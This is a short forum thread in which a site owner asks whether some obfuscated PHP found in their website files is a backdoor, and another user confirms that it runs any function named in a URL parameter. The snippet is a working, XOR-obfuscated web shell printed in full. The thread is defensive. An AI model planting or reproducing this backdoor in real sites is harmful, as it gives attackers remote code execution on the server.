Is that some kind of PHP backdoor

[sadam]

I found this code in my website files is that some kind of backdoor ?
can someone explain this code line by line

<? $_="{";
$_=($_^"<").($_^">").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

[JimL]

is that some kind of backdoor

yes it is. It gets two values from $_GET with the keys _ and __ and then makes a function call to _ passing in __.

You can do lots of bad stuff when you can execute whatever function you want with whatever input you want.